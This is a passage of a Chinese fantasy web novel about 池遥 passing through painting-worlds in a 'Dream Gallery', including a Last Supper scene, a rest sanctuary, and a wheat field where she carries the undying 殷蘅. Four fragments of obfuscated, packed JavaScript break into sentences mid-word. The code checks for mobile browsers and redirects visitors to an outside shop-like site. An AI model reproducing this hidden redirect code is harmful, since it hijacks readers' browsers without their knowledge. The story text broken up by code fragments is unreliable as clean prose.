其他门徒的目光仍旧紧盯着萧燃不放,直到他艰难地吞咽下口中的食物,才一个接一个收回视线。 总算是过关了。 池遥在心里松了口气。 即便咽下了口中的食物,萧燃紧捂着嘴的手仍旧没有放下,仿佛被死死焊在脸上了一般。 “你没事吧?” 再次进入到能自由活动的时间,池遥小声问他。 “嗯。” 只得到一声沉闷的回应。 看来,无论如何,都要在这一轮破除这个画中世界,萧燃已经完全坚持不下去了。 这么想着,池遥起身,围绕着长桌转了一圈。 这一次,她仔细观察起了长桌上的其他门徒。 除了进餐时,其他时间段里,这些门徒似乎一直保持着相似的动作,连交谈的对象都差不多。 就比如她最常观察的犹大,在这几轮里一直保持身体微微后仰,手肘支撑着桌面,手中紧紧攥着钱袋的动作,只有脑袋时不时左右摇摆一下。 其他门徒也一样,虽然存在细微的小动作,但整体处于相对静止的状态。 而他们的状态,都和壁画上的内容一模一样。 难不成,破除画中世界的最后一环,是要他们重现出壁画中的场景吗? 在用精神力探查记忆的期间,池遥已经将整幅壁画的细节全部深深记在脑子里,很快就想起了自己和萧燃所代表的人物的动作。 她和萧燃坐在长桌最左侧,也就是壁画最右侧。 池遥清楚地记得,壁画最右侧的三个人正围在一起,神色激动地攀谈,手朝着圣人的方向指。 回到萧燃身边时,他的状态似乎稳定了一些,见池遥过来,立刻抬头看她。 “你起来一下。” 池遥坐在萧燃的椅子上,摆出自己记忆中坐在此处的人的动作。 “记住我的动作了吗?” 萧燃点点头,坐回自己的位置,重现出壁画上的姿势。 而池遥则回到自己的位置,调整椅子,让自己坐在桌尾的折角处,侧身对着萧燃,再扭头看向他的脸,双臂微微抬起,双手摊平,做出兴奋交谈的动作。 就在她摆好自己造型的同时,坐在萧燃另一侧的门徒似乎终于意识到了他们的存在,拖着椅子靠过来,凑近他们,兴奋地说着什么。 画面就在这一瞬间定格。 于此同时,池遥和萧燃耳畔传来一个清脆的碎裂声。 这个画中世界,终于被他们破除了。 眼前的景物逐渐变得模糊,池遥却忽然想起什么,一把抓起身边人的手。 “我要兑换一小时休息时间。” 她开口,语气坚定。 萧燃此时的状态很差,恐怕不能立刻去到下一个画中世界。 而池遥消耗了太多精力,打不起精神来,急需休息。 反正她已经积攒了四个小时的休息时间,不如现在先休息一个小时。 很快,眼前的场景再度变化,池遥松开萧燃的手,看向全然陌生的环境。 在他们身前,是半面映着阳光的白墙,他们此时似乎正处于一个套房的大门口。 身后的房门大开,门外是一望无际的海水。 绕过玄关处的白墙,墙后是一个空间不大,氛围温馨的客厅,客厅内家具不多,只有一张红色的长沙发,一套桌椅,沙发对面还有一张红木柜。 萧燃已经第一时间冲进了卫生间,隔着紧锁的门板仍然能听到他痛苦的咳嗽声。 池遥在客厅内转了一圈,在书桌前坐下。 书桌上有一张醒目的白纸,顶部留有一行工整漂亮的小字。 ——休憩点:此处为休息专用的画中世界。一小时休息时间结束后,此世界会自动崩塌。如有疑问,可直接在纸上留言,我会回复。 落款处签着凌薇的名字。 池遥思索片刻,拿起了笔。 写下了第一个问题。 池遥:如果两个人一同进入休息区域,要怎么扣除休息时间呢? 很快,纸上就显现出凌薇的回答。 ——当多人同时进入一个休憩点时,仅消耗一次休息时间。 ——若所有人积累的休息时间充足,则优先扣除最先提出休息建议者的时间。 ——若其中有人的休息时间不足,则由所有人平均分摊本次休息的时间消耗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358505|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 池遥明白了,因为是自己主动提出休息,所以这一次休息扣除的是她的时间。 不过自己已经积攒了四个小时,扣除一小时还有三小时,她并不担心。 想到这里,她放下笔,在手表上设好闹钟,将自己蜷缩在沙发上,闭上了眼睛。 明明精神已经困乏到极点,但或许是这片空间里还有萧燃在,她根本无法入睡,只能闭目养神。 不久后,卫生间内的声音终于停止,传来了隐约的水流声,过了一会儿,萧燃回到了客厅内,脸上还带着未干的水珠。 即便已经将吃掉的东西吐了出去,但他看起来似乎还是难受不堪,眼中的红血丝明显增加,颧骨到脸颊都泛着充血似的红晕。 池遥睁眼看了看他,又看看被自己霸占的沙发,嘴唇动了动,想说点什么。 “你不用动,我坐这里就行。你睡吧,到时间我会叫你起来。” 萧燃主动坐在了书桌边的凳子上,池遥点点头,再次闭上了眼睛。 即便萧燃没有发出任何声音,但只要感知到这片空间里有一个她不算熟悉的陌生人在场,池遥就无法真正入眠,只能稍微舒展身体,侧身躺在沙发上闭目休息。 偶尔能听到笔尖落在纸面上的声响,似乎是萧燃在纸上写了什么。 池遥努力放空思绪,将脸埋在手臂里,一动不动。 不知过了多久。 “池遥。” 萧燃从桌边站起来,喊了一声她的名字。 “还有五分钟,该醒了。” 听到他的话,池遥起身,这段时间里她始终没有真正入睡,头脑有些昏沉。她舒展了一下身体,虽然并未睡着,但也恢复了一些体力。 见池遥起来,萧燃就离开了客厅,来到房门前,望着门外的海水发呆。 而池遥则来到了书桌前。 闭眼休息时,她听见萧燃似乎在纸上写了什么,此时一看,果然,她和凌薇的字迹之下,又多了好几行字,是萧燃和凌薇的对话记录。 萧燃显然看到了池遥的字迹,因此写下了第一行字。 萧燃:这一次的休息时间可以改为扣除我的吗? ——不可以,在进入休憩点的同时,休息时间就已经扣除完毕了。不过你可以把自己积攒的时间转让给别人。 凌薇的回答之下,是一行被涂黑的字,萧燃似乎在纠结。 隔了一段空白,又出现了萧燃的笔迹。 萧燃:那么,请把我的一小时时间转让给池遥吧。 ——收到。 池遥垂下眼,目光反复浏览着纸上的内容,一时间有些失神。 很快,眼前的一切再度崩塌成色块,这一次,池遥和萧燃各自站在房间的不同位置,即将分别进入不同的画中世界。 下一个画中世界,不出意外,又是池遥一个人的单打独斗了。 这么想着,她闭上眼睛,不再看眼前正在转换的场景。 闭上眼睛后,思绪很容易就飘到了脑海中的星空处。 意识星空中又多出一颗璀璨的星星,标注着萧燃的名字。 方才使用精神力时,似乎无意间在脑中建立了萧燃的锚点。 不过,离开梦之画廊之后,她和萧燃大概再也不会有交集了吧。 池遥在心中叹了口气,犹豫半晌,仍旧留下了这颗写着萧燃名字的星星。 194. 梦之画廊9 眼前的景物逐渐崩塌破碎,萧俨长叹一口气。 不久前,他再次通过了一个英雄史诗主题的画中世界,浑身上下各个部位都疲惫极了。 场景逐渐更新,最后,展露在他面前的是一面漆黑的墙壁。 此时,他正位于一间狭窄的房间中,眼前是一面未加修饰,满是裂纹的水泥墙壁。 视角逐渐向下,就在他触手可及的距离,陈旧的浴缸中,斜卧着一个手拿信笺,双眼紧闭,面色沉静的男人。 男人身上的鲜血在狭小的浴缸里汇聚成小小的河流,染脏了手上的信件。 萧俨伸出手,试探地抵在男人的嘴唇前。 对方已经停止了呼吸。 —— 周围的环境变了。 还没睁开眼,池遥就感觉到萦绕着她的微风,空气中清新的草木味道,耳边隐约传来蝉鸣,鸟鸣声。 池遥慢慢睁开眼。 入眼是一片生机勃勃的新绿。 醉人的浅蓝与轻盈的白色像轻纱一样铺开,蒙在天幕之上,缓慢地流动着。 蓝天之下,无论朝着哪个方向望去,都是同样的绿意盎然。 她正处于一片辽阔的麦田之中。 翻涌的麦浪一眼望不到尽头,尚未成熟的麦田呈现出交错的黄绿两色,被风吹动的时候整片麦田都跟着窸窸窣窣的晃动,水一样地流动。 在大片麦田之中,还隐约能看到几株巴掌大的黄色花朵,被掩在麦田之中。 “......好美。” 末日之后,池遥再也没有见过如此美好的风景。 置身于自然之中,仿佛能抛掉所有的烦恼,所有愁绪,专注地沉浸于自然打造的鬼斧神工之中。 池遥深吸一口气,只觉得疲惫的精神也跟着恢复几分,沿着麦田之中的小道缓缓迈步向前走去。 这是一幅清新治愈的风景画。 池遥想象不到这样的画中世界会有什么危机存在,一时之间,只能先随着道路缓慢向前走。 然而,刚走几步,他就立刻停下了脚步。 不知为何,在这片美丽的麦田之中,她的体力似乎正在迅速流失。 每走一步,就能感觉到一种仿佛体测跑了八百米的疲累感,正在逐渐侵蚀她本就不轻松的身体。 池遥又勉强自己走了一会儿,不由地蹲在原地,抱着膝盖喘气。 汗水顺着发丝滴滴答答淌下来。 平复了一会儿,她再次看向前方的小路,幽深狭窄的小道仿佛没有尽头。 这片看似无害的绿色麦田,只要她不前进,就只会觉得此处是不可多得的自然美景。 但是,只要她主动向前走,这片麦田就会飞速汲取她的体力。 池遥微微发动掌心之下的治愈能力,为自己输送了一小股能力。 幸好,她运用能力探测到了,这片麦田只会让她变得越来越疲累,但却不会真的汲取她的生命。 就这样,每走几步,池遥就要在原地停下来,喘两口气,平复一下呼吸。 一边前进,一边在脑海中默数前进的步数。 三十步...... 五十步...... 一百步...... 在脑海中计算到第一百五十步时,头顶骤然响起一声炸响。 浅蓝色的天空颜色变深了,阴沉沉地压下来,笼罩在她的头顶。 天幕上的云也消失了大半,只剩下一朵细丝般游动,在蓝紫色的天空中编织出一朵玫瑰形状的云彩,也逐渐消失。 空气变得潮湿,土壤的气息与暴雨将至的潮气萦绕鼻腔。 池遥长长地叹了口气。 似乎要下雨了。 明明周围还是相同的绿色麦田,但此时远远望去,麦田似乎更辽阔,蔓延范围更大了。 池遥在空间内翻找半天,找出了一件雨衣,套在身上,继续前进。 刚走出一步,呼啸的狂风夹带着豆大的雨点,劈头盖脸朝池遥袭来。 雨滴落在身上,仿佛受了一次重击,带来一阵阵强烈的痛意。 刚刚在空间翻找时,池遥本想拿出一把雨伞,又觉得雨伞霸占了一只手,遇到危机时不方便行动。 眼下感受到了雨点的杀伤力,不由庆幸自己的决定。如果真的拿出了雨伞,恐怕脆弱的伞面会立刻被雨点砸出一个窟窿。 只是,下起暴雨后,每一次向前迈步时遇到的阻碍消失了。 之前每一次前进时所感受到的疲惫感减轻了不少。 池遥咬紧牙关,忍耐着雨点落在身上的剧痛,加快脚步,闷头朝前走去。 震耳欲聋的雷声与嘈杂的雨声交织在一起,震得鼓膜嗡嗡作响,她几乎听不清其他声音。 绵密的痛苦侵袭她的神经。 剧痛之下,即便不再被汲取体力,前进的步伐仍旧无比艰难。 每向前走几步,迎面而来的狂风暴雨就变得更加剧烈。 到最后,她的身体险些被狂风掀飞。 不能后退。 池遥在心中反复告诫自己。 一路向前的艰难程度反而对应了她心底的猜测。 前方的小路无穷无尽,看不到终点,因此,此时遭受的磨难愈发摧残她的心智。 但是,如此密集而频繁的变化反而预示着,只要走到这条路的尽头。 就能破除这片无边无际的麦田。 五十步...... 一百步...... 纯黑色雨衣将她的身体遮挡得严严实实。 只有每一次向前迈步时,鞋底残留的鲜血被雨水冲走,留下一路的红色痕迹。 坚持住。 没有任何捷径可走。 只能在这条小道上不停经受磨难,走到尽头。 浑身每一个部位都在叫嚣着疼痛,池遥担心后面会遇到更危险的环境,不敢立即给自己治疗,只能硬撑着满身伤痕一路向前。 第一百四十五步。 头顶的雨点终于停歇。 深紫色的雷雨云逐渐散去,金色的辉光从云层间隙透了出来。 暴雨过后,嫩绿色的麦田和远处的山峦,都被灿烂的阳光所带来的一层水雾般的薄膜所笼罩,宁静极了。 池遥仰起头,望着流动的天空。 一片柔和的,沉静的蓝色再度占据整片天幕,透出的光线只热烈了一会儿就渐渐变得柔和。 暴雨之后,又变成了多云天气。 眼前的麦田变成了熟悉的金黄色,在柔和的光线下翻涌,如同细碎的金子。 而在麦田远处,立着一颗巨大的柏树。 略微急促的风打着旋擦过池遥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365682|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,隐约可见波动的气流。 池遥收起被鲜血染脏的雨衣,默默治愈身上几处严重的伤口,拖着一身细碎的伤痕,继续前进。 前方的路变得模糊,唯有侧面的柏树愈发清晰可见。 仿佛在引诱她朝着柏树的方向前进。 池遥扭过头,尽力忽视那颗树的存在。 这一次是心理战吗? 她不再转头,只低垂着头,视线凝聚在自己的脚尖,沉默地向前走。 二十步。 她隐约听到柏树的方向,有声音在不停地窃窃私语。 五十步。 她控制不住地朝侧方转身,幸好控制住了自己的脑袋始终向前。 一百步。 池遥忍不住朝着柏树的方向挪了一小步。 一百一十步。 她的行进路线开始偏离脚下的小道。 再度迈步时,已经彻底离开了脚下的路面。 然而,她的脚刚刚抬起来,原本被她踩在脚下的小路突然消失了。 池遥猛地回过神。 她还是受到了柏树的影响,身不由己地朝着柏树的方向进发,此时脚下的路面消失,才反应过来。 抬起的脚落回了原本的小道上。 随着脚切实踏回地面,消失的小路再度出现,池遥才终于松了一口气。 稍微找回些神志,她立刻加快脚步,拼命摆脱柏树的影响。 紧接着,麦田又变换出无数种形状。 她路过一群俯身在空旷的土地工作的播种者。 也旁观了众人勤恳收割的背影。 望着麦田重新变绿,又见证麦田成长为金黄的麦穗。 以一百五十步,也就是一百米为界,进行一次变换。 池遥渐渐忘记了自己走过多少个一百五十步,走过了多少个一百米,又在这片无垠的麦田里见证了多少风景。 最后,麦田再度发生变化。 嘶哑难听的叫声在头顶响起。 池遥抬起头。 头顶的天空是从未有过的黑沉,成群乌鸦盘旋在她的头顶,叫声令人毛骨悚然。 从她站定的地方向前看去,除了自己一直在走的小路,又延伸出两条断裂的岔道。 面前,金色的麦田变得稀疏而混乱,乱糟糟地挤在一起,却又露出不少干裂的土地。 池遥深吸一口气,拖着已经经历过不知多少轮折磨,愈发疲惫和劳累的身躯,向前走去。 她有一种预感,只要再通过眼前的这个场景,就能破除画中世界了。 不能在最后阶段倒下! 然而,刚走一步,她就立刻停了下来。 初入绿色麦田时,池遥还在庆幸,这片绿色麦田只会汲取自己的体力,而不是生命力。 然而,这片充斥着死寂气息的麦田,汲取的却是她的生命力。 幸好她觉醒了治愈能力。 若是普通人,恐怕耗尽生命也走不完最后的路程,但池遥的能力可以不停地为自己补充生命力,对其他人而言必死的一段路,却是她的生机。 她继续向前走去。 越向前走,周围的空气越冰冷。 池遥突然停下了脚步。 面前的道路上,倒着一个人。 一个她万分熟悉,万分感激的人。 195. 梦之画廊10 好像每一次见到殷蘅的时候,池遥总处于一种狼狈的境地。 殷蘅也一样,每次见到池遥的时候,他的状态似乎都相当狼狈。 譬如初次相遇,一个在梦境中被诸多鬼魂追猎,另一个困在牢笼里等人施救。 又譬如此时此刻。 一个伤痕累累,另一个倒在前进的道路上,生死未卜。 池遥走到他面前,蹲下来,仔细端详面前的人。 殷蘅的长相与他的气质大相径庭,平日里,他就像一朵蓄满了怨气的积雨云,阴沉而冷淡,死气沉沉,总是会让人忽视,他其实长着一副堪称美艳的面容。 只是,双眼紧闭时,无论是气质还是外表都失去了攻击性,反而让池遥看着有些移不开眼。 她伸出手,轻轻碰了一下殷蘅的手,没等输入能力,原本闭着眼,毫无声息的人猛然睁开眼睛,凌厉的目光刺向池遥。 看清池遥的面容后,方才凛冽的气焰陡然消散,再度变回了池遥熟悉的那个温吞而疲惫的殷蘅。 “你怎么在这里?” 殷蘅的声音很微弱。 “我也没想到会在这里遇到你,你还好吗?” 池遥苦笑一声,扶着他坐起来,殷蘅的状态果然很不好,他浑身无力,似乎连坐姿都很难维持,需要倚靠着池遥才能坐稳。 池遥刚想为他输送一点治愈能力,就听见了殷蘅的声音。 “不要在我身上浪费能力,”他的语气带着深重的疲倦,漆黑的眼眸与池遥对视,“还记得吗,你的能力对我的用处不大。” 他这么说,池遥才回想起来,很久之前,她曾经对殷蘅使用过治愈能力,殷蘅是第一个也是唯一一个对她的治愈能力不受用的人。 “那你要怎么......” 话还没说完,就被殷蘅打断了。 “没事的,别在意我,池遥。”他的声音低低的,在池遥耳边回荡。 “我只是碰巧挡了你的路,你没有帮助我的义务。继续向前走吧。” 理智告诉池遥,殷蘅说得对。 可是...... “那你要怎么办?” “我不会死的,相信我,通过这个景点后,你还会在画廊里见到我。” 殷蘅垂下眼,放柔声线劝她。 池遥移开视线,望向眼前的路。 天色阴沉而压抑,与殷蘅带给她的印象相似。 凛冽的寒风直往骨缝里钻,周围的麦穗被吹得东倒西歪。 头顶的乌鸦似乎也意识到下方的两个生物,在他们头顶上久久盘旋不散,似乎在寻找机会捕猎这两个巨大的猎物。 她不想把殷蘅一个人留在这令人绝望的麦田。 可是,前方的路还有多远? 她已经行进了将近一百步,按理来说,应该已经离终点不远了,可前方的路仍然没有尽头。 她还要在这片麦田跋涉多久? “殷蘅。” 良久,池遥轻声叫出了对方的名字。 “我们脚下的这条路,每向前走一步,就会抽取一部分生命力。无论是什么样的能力者来到这里,恐怕都走不完这条路,逃不过必死的结局。” “但是,我的能力碰巧能够克制这一现象,也就是说,对其他人而言恐怖的路程,对我而言和普通的小路区别不大。” 只是比较耗费能力,仅此而已。 她凝视着殷蘅锋利的下颌线,惨白的皮肤,开口。 “所以,就算带上你,我也可以顺顺利利走出这片麦田。” 然而,听了她的话,殷蘅只是轻轻地笑了一下,发出一个极轻的气音。 并不是感激的笑容,也没什么喜悦的成分,他像是在自嘲,笑容显得很惨淡。 “我......” 他似乎要开口解释什么,又轻轻叹息一声,咽下了自己的话。 不等他拒绝,池遥主动在他面前蹲了下来。 “如果你的脚不接触地面,是不是就不会受影响了?” 池遥边思考边念叨出声,不需要殷蘅回答,就继续开口。 “我背你吧,你能到我背上来吗?” 殷蘅没动。 他身体软绵绵的,使不上力气,更何况,他本就不希望得到池遥的帮助。 但池遥远比殷蘅想象中更有耐心,她等了很久,最终站起来,干脆利落地伸出手,扶着殷蘅,把人扶抱起来,搬到自己背上。 殷蘅一开始似乎是有些抗拒的,但他浑身无力,做不到激烈的拒绝,最后只能像一具人偶般任由池遥摆弄。 殷蘅虽瘦,但身高却格外高,比池遥高出足足二十厘米,即便被池遥背在背上,仍旧有一截腿拖在地面上。 池遥艰难地固定住背后的人,扯着他的手臂,让殷蘅环住自己的脖子。 “你有力气吗?能抱住我的脖子吗?” 紧接着,她托着男人的膝弯,慢慢直起膝盖,彻底将他背了起来。 然而,身后的重量却与她想象中截然不同。 分量实在太轻了。 若不是她能明显地感觉到殷蘅紧贴着她的身躯,察觉到与她的脖颈,手臂相连的肢体,知道自己背上是一个真切的人,她恐怕会觉得自己只不过是背了个书包。 太荒谬了,他的重量竟然与一个书包差不了多少。 从池遥主动要背他开始,殷蘅就闭上了嘴,一言不发,态度隐隐抗拒,但又无法彻底忤逆池遥,只能半推半就地顺从。 而此时,两人的身体依偎在一起,他闭上眼睛,将脸埋在池遥的颈窝处。 是一个有些亲密和依赖的举动。 身体紧贴,即便隔着衣料,池遥依旧能感受到对方周身冰冷的温度。 脖颈感受到对方的呼吸,殷蘅的呼吸似乎也是寒凉的,拍打在颈侧让池遥一个激灵,她不由地绷紧了身体。 “你怎么会......”池遥忍不住蹙起眉头。 也许是殷蘅此时的状态太差,她忘记了这是被称为鬼王的强者,轻声抱怨起来。 “没办法被我的能力治愈,体温又这么低,皮肤白成这个样子。而且体重竟然这么轻......” 她一边向前走,一边絮絮叨叨地说,罗列起殷蘅这个人的不合理之处。 突然,一个念头猛地冒出来。 池遥脚步一顿。 这么久以来,池遥不是没遇到过不能被自己的能力治愈的人。 死人。 她的能力只能治愈活人,却无法起死回生,对尸体无效。 殷蘅平日里用宽大的黑袍遮掩了全部身形,巨大的兜帽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369512|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮住了大半张脸。 在殷蘅的梦境里看到的他仍是这种病态的模样,但所有裸露在外的皮肤都不停渗血。 他的体温又那样低,活人根本不可能有这种体温。 她不由地翕动了一下鼻翼。 闻不到什么奇怪的气味,只有若隐若现的凛冽气息。 这种味道池遥是无法形容的,但在故乡北城的寒冬时节,每当舍友从寒冷的外界突然开门回到宿舍时,身上就会沾染这种味道。 “太奇怪了,你真的是人类吗?你该不会是......” 她忍不住想要试探,又不愿真的说出尸体二字,怕殷蘅真的肯定她的说法。 “吸血鬼吧?” “那是什么?” 一直一言不发的人终于开了口,声音很轻,低低地响在池遥耳侧。 “我故乡的一种幻想生物。以吸食血液为生,没有心跳,体温很低,皮肤苍白,而且不能见太阳光,每一条都和你完美对应上了。” 殷蘅打起精神,轻轻地笑了一下。 “我也知道一种......和你说的吸血鬼很像......” “什么?” 池遥想听他说更多话。 “啊......名字大概是......贪蚀兽?” 说得越多,殷蘅的声音有些含糊。 “别睡。” 池遥察觉到他的精神愈发涣散,语气严肃几分。 “殷蘅,你不让我为你治疗,我不知道你的状态到底怎么样。你至少别睡过去,我担心你醒不过来。” “打起精神,我们一起说说话,你总不能让我一个人背着你走,你在我背上睡觉吧?这样也太对不起我了吧?” 过了一会儿,听到殷蘅低低应了一声。 “没事的,不要担心。” “更何况,我现在的重量,大概......很轻,你不会很费力。” 池遥注意到了他话中隐含的意味。 殷蘅似乎对他的重量没有什么概念。 “你简直比我上高中时的书包还要轻......非要说的话,大概和我大学的书包差不多重?” 说起高中和大学时的事,池遥竟然有几分恍惚感。 明明只是一年前的事,但似乎已经是很久远很久远的时候了。 现在与殷蘅重逢的自己,与初次遇到殷蘅时的自己相比,也发生了脱胎换骨的变化。 她已经走出很长一段路。 已经走出了不知几个一百米。 然而,眼前的景物始终没有发生任何变化。 她仍旧处于无尽的金色麦田之中,群鸦盘旋于头顶,发出恐怖片里常有的叫声。 她仿佛被困在辽阔的金色麦田之中。 无从下手,无法逃离,终其一生都被困在这金色麦田之中。 然而,似乎感受到了池遥动摇的意志,殷蘅突然动了一下,下巴抵着她的肩窝,轻轻蹭了一下。 “池遥,凝神。” 他开口。 “我们所在的这幅画是画家自杀前几天完成的,到处都是绝望的情绪,不要被动摇。” “不要陷入痛苦,不要自我怀疑,不要感到绝望。” “池遥,听我说,向前走。” “向前走。” 196. 梦之画廊11 殷蘅的声音将池遥略微动摇的意志再度变得坚定起来。 只不过,听到殷蘅的声音,她突然想到一件事。 “你知道这幅画?” 不需要殷蘅回答,她渐渐也回想起来了。 左侧展厅内,有一片麦田主题的区域,展出的所有画作均为同一位画家画出的各种麦田。 春天画被农民播种下的麦田,夏天画茁壮成长的绿色麦田,画金黄饱满,临近收割期的麦田。 秋天...... 他没坚持到秋天,夏天还没结束,他就在麦田中举枪自尽,结束了短暂的一生。 而他们所处的这幅主基调沉闷压抑的画作,就是画家离世前留下的最后几幅作品之一。 在展厅里,这些麦田主题画作共用一个介绍栏,池遥对这些画的关注不多,直到殷蘅主动提起,她才回想起来。 悲伤无穷无尽,在这幅画中永恒持续,久久不散。 而池遥要做的,就是坚定心神,不陷入悲伤痛苦中,守着自己的信念,一步一步,走出这片困住画家的麦田。 除了吸取生命力之外,这片麦田还会在无形中加重每个人的负面情绪,因此,殷蘅才会倒在路上吧? 这个念头闪过,池遥突然觉得有哪里不对劲儿。 殷蘅的确倒在了前进的道路上。 不过,他似乎对这个画中世界的规则极为理解。 他知道这幅画的背景,知道置身于此的人会在无形中加重负面情绪......不对,既然他知道这一点,就不会受到影响。 那么,他为什么倒在这条路上? 池遥还记得他与萧俨对战时的场景,殷蘅可以驱使鬼魂,放出的灵魂似乎没有限制,都是凝实的黑影。 此时,他被池遥背在背上,双脚不接触地面就不必再被吸收生命力。可他好歹是个经历多个景点的旅人,不应该想不到这一点。 对于殷蘅而言,想要不接触地面有很多方法。他大可以让鬼魂抬着他前进,隔段时间换个新的鬼魂,这样一定比此时被池遥背着前进好得多。 他为什么会倒下? 不仅如此,在池遥发现他时,他从未主动开口向池遥求助,甚至隐隐抗拒池遥的主动帮忙,就好像倒在这条路上才是他的目的,这又是为什么? 除非...... 池遥心中有了猜测。 “殷蘅,你之前和我讲过伊甸的事,你还记得吗?” 她主动开口问道。 “嗯。” 殷蘅回应了一句。 “伊甸是唯一一个不会被末日侵染的世界,也是所有旅人的目的地。虽然伊甸的存在还未被证实,但是传闻中说,去到伊甸的人,可以实现一个愿望。你当时是这样告诉我的,你还有印象吧?” 池遥重复了一遍殷蘅当时告诉她的内容。 殷蘅轻轻点头。 “如果啊......我只是做一个假设,假如你真的去到了伊甸,你想实现什么愿望?” 池遥尽可能放轻声音,语气也愈发轻柔,然而,等了很久,身后的人迟迟没有开口。 殷蘅并不想告诉她自己的愿望。 但池遥心中隐隐猜到了。 “殷蘅,你想死吗?” 隔了很长很长时间,久到池遥开始担心背上的人陷入了沉睡,殷蘅才开口回应。 “嗯。” 声音低低的。 明明已经证实了心中的猜想,池遥却没有一点成就感。 相反,心情更深地沉了下去。 如果殷蘅的愿望真的只是寻死,那么反倒验证了另一点。 目前的他,就算想死也死不掉。 怪不得在麦田里见到他时,殷蘅会劝她忽视自己继续向前,怪不得他一直笃定他自己不会死去。 “那么,你是......” 池遥本想说不死者三个字,又觉得不够贴切。 “永生?” 寿终正寝也是一种死亡,如果殷蘅连这种死亡都要追寻的话。 他或许是永久存活的状态。 殷蘅再度点头,肯定了她的疑问。 可是,这又是如何办到的呢? 池遥在心中反复推敲。 如果殷蘅之前与她的对话不存在隐瞒的话,殷蘅是一位天赋者,能力是驱使身体内的鬼魂,说得更简洁一点,他可以驱策灵魂。 他会将遇到的鬼魂吞噬进体内,遇到险境时重新放出,作为自身的助力。 那么,如果殷蘅死掉,这位能见鬼,驱策鬼魂的殷蘅死去后,会发生什么事? “我的能力看似强大,但要付出深重的代价。” 耳边传来殷蘅的声音。 他迟疑了很久,终究还是主动将自己的能力告诉了池遥。 “我只能把魂魄收容到自己的体内,无法消化。它们占据了我身体的一部分,也同时影响我自身。” “收容的鬼魂越多,我的身体逐渐被它们填满,也会被它们同化,逐渐朝着灵魂体的方向转变,失去作为人类的感知。” “因此,我现在的状态也不能完全称之为活着,介于活着和死亡之间。而这样的我,就算自身躯壳死亡,也会以鬼魂的形态永生,不受世间法则的拘束,继续驱策鬼魂,永久存活于世。” 这就是殷蘅的能力带来的代价。 “那你的重量这么轻也是因为......” 池遥立刻反应过来。 “你想的没错。灵魂没有重量,我现在状态较差,大部分身体都处于灵魂化状态,因此重量很轻。” 只剩下一个书包的重量了,看来他现在是真的很虚弱啊。 这么想着,池遥又回想起殷蘅浑身上下都被黑袍遮掩的打扮,似乎能够理解了。 “所以你才一直穿着黑袍?因为大部分身体都灵魂化了,看上去可能比较......明显?” 池遥一边说,脑中不受控制地浮现出诸多恐怖片中的场景。 “不,我的灵魂化发生在体内,无法从外界看出来。只要我还没有彻底死亡,这具躯壳就不会被灵魂化。” 殷蘅解释道。 “这样啊......”池遥点点头,忍不住感叹,“真是个强大的能力。” 说到这里,池遥又想到了一直追杀殷蘅的萧俨,既然殷蘅因能力副作用没法真正死去,为什么一直躲避萧俨的追杀? “既然这样,萧俨为什么会追杀你?” 说到这个话题,身后的殷蘅长长地叹出一口气。 大多数时候,殷蘅都是一副阴沉又疲倦的模样,死气沉沉,很少展露出自己的情绪,这是池遥第一次感受到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376182|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真切的烦躁情绪。 显然对萧俨相当苦恼。 “池遥,你对新都,也就是萧俨的故乡,了解多少?” 殷蘅问她。 “萧俨和我讲过很多新都的事。据说新都是所有小世界当中受末日影响最小的世界,是这样吗?” “没错,新都由王室掌权,他们的权力范围甚至蔓延到许多小世界。萧俨他们是新都王族杀手。我先前和你说过,很多天赋者会猎杀觉醒者,试图在觉醒者变强之前扼杀他们,说的就是新都王室。他们会暗中猎杀实力强大的天赋者,宁可错杀一百,也不放过一个可能混入其中的觉醒者。” “至于我,也被波及到了。萧俨就是他们派来追杀我的杀手。他实力很强,我虽然能够应付,但他既善于战斗,更善于逃跑,情况一旦陷入困局就立刻逃跑,过一段时间又再次追上来,连续纠缠了几年,实在是太缠人了。” 池遥短暂地沉默了一会儿。 真没想到会是这样。 “新都王室还会培养杀手啊,真没想到,而且你说萧俨有情感障碍,那又是什么?” 